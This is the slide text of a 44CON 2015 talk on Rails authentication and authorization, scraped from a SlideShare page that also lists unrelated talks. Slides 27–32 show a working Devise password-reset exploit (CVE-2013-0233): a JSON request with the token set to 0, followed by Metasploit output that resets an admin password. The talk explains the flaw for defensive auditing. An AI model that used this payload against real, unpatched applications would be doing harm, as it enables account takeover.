The UK's Code of Practice for Security in Consumer IoT Products and Services ...
44CON260 views
Weak analogies make poor realities – are we sitting on a Security Debt Crisis... by 44CON
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
44CON285 views
Pwning the 44CON Nerf Tank by 44CON
Pwning the 44CON Nerf TankPwning the 44CON Nerf Tank
Pwning the 44CON Nerf Tank
44CON164 views
Security module for php7 – Killing bugclasses and virtual-patching the rest! ... by 44CON
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
44CON227 views
44CON London 2015 - Software Defined Networking (SDN) Security by 44CON
44CON London 2015 - Software Defined Networking (SDN) Security44CON London 2015 - Software Defined Networking (SDN) Security
44CON London 2015 - Software Defined Networking (SDN) Security
44CON966 views
44CON London 2015 - DDoS mitigation EPIC FAIL collection by 44CON
44CON London 2015 - DDoS mitigation EPIC FAIL collection44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON1.1K views
44CON London 2015 - Hunting Asynchronous Vulnerabilities by 44CON
44CON London 2015 - Hunting Asynchronous Vulnerabilities44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON949 views
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ... by 44CON
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON1.4K views
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root by 44CON
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON1.7K views
44CON London 2015 - reverse reverse engineering by 44CON
44CON London 2015 - reverse reverse engineering44CON London 2015 - reverse reverse engineering
44CON London 2015 - reverse reverse engineering
44CON1.7K views
44CON London 2015 - Windows 10: 2 Steps Forward, 1 Step Back by 44CON
44CON London 2015 - Windows 10: 2 Steps Forward, 1 Step Back44CON London 2015 - Windows 10: 2 Steps Forward, 1 Step Back
44CON London 2015 - Windows 10: 2 Steps Forward, 1 Step Back
44CON63.3K views
44CON London 2015 - Playing with Fire: Attacking the FireEye MPS by 44CON
44CON London 2015 - Playing with Fire: Attacking the FireEye MPS44CON London 2015 - Playing with Fire: Attacking the FireEye MPS
44CON London 2015 - Playing with Fire: Attacking the FireEye MPS
44CON6.1K views
44CON London 2015 - Old Dog, New Tricks: Forensics With PowerShell by 44CON
44CON London 2015 - Old Dog, New Tricks: Forensics With PowerShell44CON London 2015 - Old Dog, New Tricks: Forensics With PowerShell
44CON London 2015 - Old Dog, New Tricks: Forensics With PowerShell
44CON4.6K views
44CON London 2015 - Smart Muttering; a story and toolset for smart meter plat... by 44CON
44CON London 2015 - Smart Muttering; a story and toolset for smart meter plat...44CON London 2015 - Smart Muttering; a story and toolset for smart meter plat...
44CON London 2015 - Smart Muttering; a story and toolset for smart meter plat...
44CON1K views
44CON London 2015 - Inside Terracotta VPN by 44CON
44CON London 2015 - Inside Terracotta VPN44CON London 2015 - Inside Terracotta VPN
44CON London 2015 - Inside Terracotta VPN
44CON8K views

Recently uploaded

"Surviving highload with Node.js", Andrii Shumada by
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada Fwdays
49 views29 slides
NTGapps NTG LowCode Platform by
NTGapps NTG LowCode Platform NTGapps NTG LowCode Platform
NTGapps NTG LowCode Platform Mustafa Kuğu
287 views30 slides
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O... by
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...ShapeBlue
59 views13 slides
DRBD Deep Dive - Philipp Reisner - LINBIT by
DRBD Deep Dive - Philipp Reisner - LINBITDRBD Deep Dive - Philipp Reisner - LINBIT
DRBD Deep Dive - Philipp Reisner - LINBITShapeBlue
110 views21 slides
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueShapeBlue
149 views7 slides
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P... by
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...ShapeBlue
120 views62 slides

Recently uploaded(20)

"Surviving highload with Node.js", Andrii Shumada by Fwdays
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada
Fwdays49 views
NTGapps NTG LowCode Platform by Mustafa Kuğu
NTGapps NTG LowCode Platform NTGapps NTG LowCode Platform
NTGapps NTG LowCode Platform
Mustafa Kuğu287 views
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O... by ShapeBlue
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...
Declarative Kubernetes Cluster Deployment with Cloudstack and Cluster API - O...
ShapeBlue59 views
DRBD Deep Dive - Philipp Reisner - LINBIT by ShapeBlue
DRBD Deep Dive - Philipp Reisner - LINBITDRBD Deep Dive - Philipp Reisner - LINBIT
DRBD Deep Dive - Philipp Reisner - LINBIT
ShapeBlue110 views
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
ShapeBlue149 views
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P... by ShapeBlue
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
Developments to CloudStack’s SDN ecosystem: Integration with VMWare NSX 4 - P...
ShapeBlue120 views
Data Integrity for Banking and Financial Services by Precisely
Data Integrity for Banking and Financial ServicesData Integrity for Banking and Financial Services
Data Integrity for Banking and Financial Services
Precisely76 views
Future of AR - Facebook Presentation by Rob McCarty
Future of AR - Facebook PresentationFuture of AR - Facebook Presentation
Future of AR - Facebook Presentation
Rob McCarty54 views
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLive by Network Automation Forum
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLiveAutomating a World-Class Technology Conference; Behind the Scenes of CiscoLive
Automating a World-Class Technology Conference; Behind the Scenes of CiscoLive
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ... by ShapeBlue
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
How to Re-use Old Hardware with CloudStack. Saving Money and the Environment ...
ShapeBlue97 views
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ... by ShapeBlue
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
Backup and Disaster Recovery with CloudStack and StorPool - Workshop - Venko ...
ShapeBlue114 views
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava... by ShapeBlue
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...
Centralized Logging Feature in CloudStack using ELK and Grafana - Kiran Chava...
ShapeBlue74 views
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT by ShapeBlue
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBITUpdates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
Updates on the LINSTOR Driver for CloudStack - Rene Peinthor - LINBIT
ShapeBlue138 views
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas... by Bernd Ruecker
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
iSAQB Software Architecture Gathering 2023: How Process Orchestration Increas...
Bernd Ruecker50 views
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue by ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueWhat’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
ShapeBlue191 views
Keynote Talk: Open Source is Not Dead - Charles Schulz - Vates by ShapeBlue
Keynote Talk: Open Source is Not Dead - Charles Schulz - VatesKeynote Talk: Open Source is Not Dead - Charles Schulz - Vates
Keynote Talk: Open Source is Not Dead - Charles Schulz - Vates
ShapeBlue178 views
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading... by The Digital Insurer
Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...Webinar : Desperately Seeking Transformation - Part 2:  Insights from leading...
Webinar : Desperately Seeking Transformation - Part 2: Insights from leading...
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit... by ShapeBlue
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...
Transitioning from VMware vCloud to Apache CloudStack: A Path to Profitabilit...
ShapeBlue86 views

44CON London 2015 - Going AUTH the Rails on a Crazy Train

  • 1. Going AUTH the Rails on a Crazy Train Tomek Rabczak @sigdroid Jeff Jarmoc @jjarmoc September, 2015
  • 2. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Who we are Tomek Rabczak Senior Security Consultant with NCC Group Ex-Rails Maker turned Rails Breaker Jeff Jarmoc Senior Security Consultant with NCC Group Occasional contributor to Metasploit, Brakeman NCC Group UK Headquarters, Worldwide Offices Software Escrow, Testing, Domain Services 2
  • 3. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train All Aboard, hahaha! 1. Rails Introduction 2. Authentication 3. Authorization 4. Boilerman: A New Dynamic Analysis Tool 3
  • 4. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train `rails  new  sample_app` sample_app   app/   models/   views/   controllers/ 4 Root directory Application files (Your code) Models (Objects, usually backed by DB) Views (Output presentation templates) Controllers (Ties Models and Views with Actions) Configuration files directory Maps URLs to Controller Actions Dependency record of Gem requirements Specific versions of currently installed Gems …   config/    routes.rb   …   Gemfile   Gemfile.lock
  • 5. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train The ‘Rails Way’ 5 ActiveRecord (Model) SQLi protection via ORM-managed queries (see http://rails-sqli.org/) ActionView (View) XSS protection via default HTML-output encoding ActionController (Controller) CSRF protections via protect_from_forgery
  • 6. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Goin’ off the Rails Authentication (AUTHN) Who is the user? Only HTTP Basic & Digest natively Authorization (AUTHZ) What can they do? No native facility 6
  • 7. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Laying More Track - AUTHN Option 1 - Roll your own Re-invents the wheel, risks common mistakes Lots more to AUTHN than checking/ storing passwords has_secure_password in >= 3.1 helps 7
  • 8. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Laying More Track - AUTHN 8 Option 2 - Use a gem Vulnerabilities are far-reaching Ongoing updates/maintenance required Integration can be tricky Core code is generally well vetted Encapsulates past community experience
  • 9. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Common AUTHN Gems Devise Most popular, built on Warden OmniAuth Multi-Provider, OAuth focused DoorKeeper OAuth2 provider for Rails AuthLogic Adds a new model blending Sessions w/ Auth 9
  • 10. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Arguments for writing “For one, practical experience shows that authentication on most sites requires extensive customization, and modifying a third-party product is often more work than writing the system from scratch. In addition, off-the-shelf systems can be “black boxes”, with potentially mysterious innards; when you write your own system, you are far more likely to understand it.” 10 https://www.railstutorial.org/book/modeling_users#sec-adding_a_secure_password
  • 11. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Write our own 11 http://api.rubyonrails.org/v3.1.0/classes/ActiveModel/SecurePassword/ClassMethods.html http://chargen.matasano.com/chargen/2015/3/26/enough-with-the-salts-updates-on-secure-password-schemes.html Digests stored with BCrypt Schema: User(name:string, password_digest:string)
  • 12. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Lots more needed. Storing Creds and Authenticating is just the start #TODO Session management Complexity requirements Lost/Forgotten Password handling API Tokens / MFA / 2FA / OAUTH 12
  • 13. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Session Management 1. Exchange credentials for a token (cookie). 2. Identify user by that token on subsequent requests. 3. Invalidate that token when needed. Logout or Timeout 4. Where we store session state varies 13
  • 14. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Encrypted Cookie Sessions 14 ozzy@ozzy.com *********
  • 15. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Database Sessions 15 ozzy@ozzy.com *********
  • 16. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Database vs. Cookies 16 Database Cookie User Cookie Random Token Encrypted Serialized Session Object Revocation Maximum Lifetime (Config) One Concurrent Delete From DB Maximum Lifetime (Config) Unlimited Concurrent Attack Surface Theft / Enumeration Theft / Enumeration Cryptographic Attacks Long/Infinite Lived Sessions Encryption Key Exposure *Deserialization Vulns Per-Request Overhead DB query (caching may help) Signature Validation Decryption Deserialization
  • 17. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Session Type Config config/initializers/session_store.rb: Rails.application.config.session_store  :cookie_store,   key:  ‘_session_cookie_name’,   :expire_after  =>  2.hours 17 or   :active_record_store Session Expiry Time Must be Manually Configured!
  • 18. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Cookie Session Config 18 config/secrets.yml: production:      secret_key_base:  'secret  key’ Signed, Not Encrypted! production:      secret_token:  'secret  key' config/initializer/session_store.rb: Rails.application.config.action_dispatch.cookies_serializer  =  :json RCE w/ Key Exposure!  :marshal      or   :hybrid
  • 19. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Lost/Forgotten Passwords Password Hints Change and email PW “Secret” Questions 19 CAUTION
  • 20. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Lost/Forgotten Passwords 20 1) Generate CSPRNG token => User object w/ timestamp 2) Transmit to user out of band (email, SMS, etc) 3) User visits site w/ token 4) User.find_by_token(), verify expiration, change password 5) Delete Token GOOD
  • 21. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Installing Devise Gemfile gem  'devise'   Commands rails  generate  devise:install   rails  generate  devise  User   Config Initializer:  config/initializers/devise.rb ActionMailer: config/environments/<environment>.rb Initialize Database rake  db:migrate 21
  • 22. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train app/models/User.rb 22
  • 23. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Routes 23 app/config/routes.rb: devise_for  :users
  • 24. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Using Devise Controller Filter before_action  :authenticate_user!   Often put in ApplicationController Skip where anonymous access needed Helpers user_signed_in?   current_user   user_session 24
  • 25. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Devise Security History Unreleased/HEAD Optionally send password change notifications 3.5.1 Remove active tokens on email/password change 3.1.2 Addresses an email enumeration bug 3.1.0 Stores HMAC of tokens, instead of plain-text token 3.0.1 Fixes CSRF Token Fixation 2.2.3 Fixes a type confusion vulnerability 25 Disclosed by @joernchen of Phenoelit Feb 5th, 2013 http://www.phenoelit.org/blog/archives/2013/02/05/ mysql_madness_and_rails/
  • 26. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Devise Password Reset Pseudo-Code 26
  • 27. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train MySQL Equality 27 mysql>  select  "foo"  from  dual  where  1="1string";   +-­‐-­‐-­‐-­‐-­‐+   |  foo  |   +-­‐-­‐-­‐-­‐-­‐+   |  foo  |   +-­‐-­‐-­‐-­‐-­‐+   1  row  in  set,  1  warning  (0.00  sec) mysql>  select  "foo"  from  dual  where  0="string";   +-­‐-­‐-­‐-­‐-­‐+   |  foo  |   +-­‐-­‐-­‐-­‐-­‐+   |  foo  |   +-­‐-­‐-­‐-­‐-­‐+   1  row  in  set,  1  warning  (0.00  sec)
  • 28. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Exploiting in Rails params[] A hash of (usually) strings containing values of user-supplied parameters 28 Like this /example?foo=bar&fizz=buzz   params  =>  {"foo"=>"bar",  “fizz"=>"buzz"}   /example?foo=1&fizz=2   params  =>  {"foo"=>"1",  "fizz"=>"2"}
  • 29. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Exploiting in Rails Rails Magic XML (<4.0) and JSON (all versions) bodies parsed automatically Typecast per those formats 29 Like this POST  /example  HTTP/1.1   content-­‐type:  application/xml   <foo>bar</foo>   <fizz  type=“integer”>1</fizz>   params  =>  {"foo"=>"bar",  “fizz"=>1}  
  • 30. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Devise Password Reset Exploit How about this? PUT  /users/password  HTTP/1.1   content-­‐type:  application/json   {"user":{   "password":"GAMEOVER",   "password_confirmation":"GAMEOVER",   “reset_password_token":0}   }   30
  • 31. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Devise Password Reset Exploit params[] => {"user"=>{"password"=>"GAMEOVER",   "password_confirmation"=>"GAMEOVER",   “reset_password_token”=>0}} 31 Query User.find_by_token(0)   SELECT  *  from  Users  where  token=0  limit  1; Result Resets password of first User with an outstanding token!
  • 32. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Metasploit module rails_devise_pass_reset.rb Clears any outstanding tokens Generates a token for a user of your choosing Resets password to token of your choosing Legitimate user *WILL* get emails 32 msf  auxiliary(rails_devise_pass_reset)  >  exploit   [*]  Clearing  existing  tokens...   [*]  Generating  reset  token  for  admin@example.com...   [+]  Reset  token  generated  successfully   [*]  Resetting  password  to  "w00tw00t"...   [+]  Password  reset  worked  successfully   [*]  Auxiliary  module  execution  completed
  • 33. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Password Reset Type Confusion Patched in Devise >= v2.2.3, v2.1.3, v2.0.5 and v1.5.4 CVE-2013-0233 33 Fixed in Rails = 3.2.12 https://github.com/rails/rails/pull/9208 >= 4.2.0 https://github.com/rails/rails/pull/16069 Reverted in Rails >= 3.2.13 https://github.com/rails/rails/issues/9292 Core vulnerability effects more than just Devise! User.where(“token=?”, params[token]) Thanks to @joernchen of Phenoelit
  • 34. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Authorization What can they do? Often tied to the concept of roles 34 Vertical Authorization Site Admin (Full Access) Organization Admin (Full Access to specific Org) “Regular User” (Limited Read Access + Local Write Access) Unauthenticated (No Access) Horizontal Authorization Org1 vs Org2 Data Within an Org, User1 vs User2 Data
  • 35. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Authorization - Rails 35 Vertical Authorization before_actions Horizontal Authorization Associations
  • 36. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Controller Routing Given a route: get '/posts', to: 'posts#index' 36 Method path controller # action
  • 37. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Controller Hierarchy 37
  • 38. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train How they work 3 types of callbacks - :before,  :around,  :after - Authorization tends to only care about before_actions 38 -­‐  before_action  :authorize_user,  only:  [:action1,  :action2,  …]   -­‐  before_action  :authorize_user,  except:  [:action1,  :action2,  …] -­‐  before_action  :authorize_user,  if:  method_call   -­‐  before_action  :authorize_user,  unless:  method_call -­‐  skip_before_action  :authorize_user,  only:  [:action1,  :action2,  …]   -­‐  skip_before_action  :authorize_user,  except:  [:action1,  :action2,  …] -­‐  before_action  :authorize_user,  Proc.new  {|controller|  #AUTHZ  Logic…  } http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html Different flavors
  • 39. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Authorization Gems Pundit - Enforced through the use of Policy classes  @post  =  Post.find(params[:id])    authorize  @post   - https://github.com/elabs/pundit CanCan(Can) - Enforced through the use of an Ability class - https://github.com/CanCanCommunity/cancancan 39
  • 40. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train CanCanCan Basics 40
  • 41. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Be On The Lookout For… find_by methods called directly on the model 41 GOOD CAUTION
  • 42. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Be On The Lookout For… before_action  …  only:  [:action1,  :action2] 42 CAUTION GOOD
  • 43. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Be On The Lookout For… Lightweight Controllers 43 GOOD CAUTION
  • 44. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Be On The Lookout For… Authorization Logic in Views 44 Ensure the application is also verifying permissions in controller action CAUTION
  • 45. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Be On The Lookout For… Skipping of filters 45 Skips the :authorize_admin filter for every action can be an artifact left over from testing/development
  • 46. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Rails Scaffolding 46
  • 47. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Be On The Lookout For… /app/views/bank_accts/show.json.jbuilder: json.extract  @bank_acct,  :id,  :acct_number,  :acct_balance,  :acct_holder_name,  … 47 http://rubyjunky.com/rails-scaffold-dangerous-defaults.html?utm_source=rubyweekly&utm_medium=email Possible unwanted attributes added to view or strong_parameters Generator/Scaffold artifacts
  • 48. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train New Tool: Boilerman Before Boilerman Audit every Controller manually Track inheritance / overrides Mind the gaps 48 https://github.com/tomekr/boilerman With Boilerman Dynamically resolve callbacks See all filters for a given Controller#Action Filter the list dynamically In browser or Rails Console
  • 49. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train New Tool: Boilerman Dynamic analysis tool Plugs into an existing Rails application Rails console access needed As a minimum requirement Mounted as a Rails engine Accessed at /boilerman   or through Rails Console 49 https://github.com/tomekr/boilerman
  • 50. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Boilerman Demo Praise be to the almighty demo gods. 50
  • 51. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Boilerman Install: gem  install  boilerman   Takeaways Rails console can be a very powerful tool Future Ideas D3 visualizations matrix of Controller#Action & Filter pairs Source querying via pry’s source functionality Useful for auditing Pundit based authorization schemes 51
  • 52. Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train Questions? 52 Tomek Rabczak @sigdroid Jeff Jarmoc @jjarmoc